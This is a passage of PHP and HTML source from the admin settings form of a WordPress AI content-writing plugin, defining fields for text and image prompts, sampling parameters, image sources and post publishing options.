PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[default_tags][]" value="" placeholder="Please insert your additional post tags here" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_tokens][]" value="" placeholder="32768" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_seed_tokens][]" value="" placeholder="1000" class="cr_width_full"> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_continue_tokens][]" value="" placeholder="500" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_rules_list[temperature][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_rules_list[top_p][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_rules_list[presence_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_rules_list[frequency_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free Featured Image Importing Options' section.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Set A Featured Image For Posts (Select Source Below):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="royalty_free" name="aiomatic_rules_list[royalty_free][]" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition" name="aiomatic_rules_list[search_query_repetition][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images" onchange="hideImage('');" name="aiomatic_rules_list[enable_ai_images][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="4"><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="3"><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model" name="aiomatic_rules_list[image_model][]" class="cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_rules_list[image_size][]" class="cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_60p" name="aiomatic_rules_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)"></textarea> <input class="cr_width_33p aiomatic_image_button" type="button" value=">>>"/> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_rules_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_rules_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_rules_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Topic Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_rules_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_rules_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[strip_by_regex][]" placeholder="regex expression"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[replace_regex][]" placeholder="regex replacement"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_rules_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_rules_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_rules_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_rules_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_rules_list[parent_id][]" value="" placeholder="Post parent ID"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_rules_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_rules_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_rules_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_rules_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_rules_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div 